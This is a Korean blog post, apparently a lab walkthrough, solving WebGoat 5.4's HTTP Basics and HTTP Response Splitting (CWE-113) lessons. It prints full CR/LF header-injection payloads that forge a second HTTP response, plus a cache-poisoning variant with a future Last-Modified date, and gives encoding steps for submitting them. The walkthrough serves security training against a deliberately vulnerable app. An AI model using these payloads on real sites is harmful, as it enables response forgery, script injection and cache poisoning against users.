본문 바로가기
모의해킹

WebGoat 문제풀이 - 1. General

by 공대냥이 2018. 11. 21.
반응형

실습 환경

VM_Window7 ( WebGoat-5.4 )

 

General (HTTP Basics, HTTP Splitting)


1) HTTP Basics (실습에 앞서 paros가 제대로 동작 하는지 등 확인)




Paros에 잡히는 모습을 볼 수 있다.





2) HTTP Splitting


CWE-113

개념 : HTTP Request에 있는 파라미터가 HTTP Response의 응답헤더로 다시 전달되는 경우 파라미터 내 개행문자 CR 혹은 LF가 

존재하면 HTTP응답이 분리될 수 있다. HTTP 응답 분할 (HTTP Response Splitting)공격은 이러한 취약점을 통해 응답 메시지에 

악의적인 코드를 주입함으로써 XSS 및 캐시를 훼손하는 취약점이다.


 

의미

WINDOWS

UNIX/LINUX

Carriage Return

(%0d)

커서의 위치를 줄의 맨 처음 자리로 옮기라는 의미

사용

미사용

Line Feed

(%0a)

커서를 다음 줄로 넘기라는 의미

사용

사용


 


 

문제 해석 : 언어 선택 시스템으로 개행문자를 이용한 공격으로 200 OK라는 문자를 출력하는 것이 목적이다.


[실습]


아래 문장을 encoding 하여 서버로 전달합니다.

en

Content-Length: 0

 

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 31

<html>Hacking!</html>

 

인코딩 사이트 : http://yehg.net/encoding/

인코딩시 주의사항!

Text FX 드롭다운 항목에서 from %0A to %0d%0A 클릭!!



WebGoat 사이트로 돌아와 Search by country 항목에 붙여넣고 Search!

1단계 클리어!

 

2단계로 cache poisoning을 진행하라고 나온다.

솔루션에는 다음과 같이 나와 있다.


Last Modified 시간을 미래값으로 주면 된다고 한다.

위에서 사용된 구문에 한줄을 추가하여 인코딩 합니다.

en

Content-Length: 0

 

HTTP/1.1 200 OK

Content-Type: text/html

Last-Modified: Fri, 16 Mar 2018 00:00:00 GMT

Content-Length: 31

<html>Hacking!</html>


1단계와 마찬가지로 인코딩한 구문을 넣고 Search!를 눌러주면 아래 사진과 같이 축하한다는 문구가 나옵니다.



반응형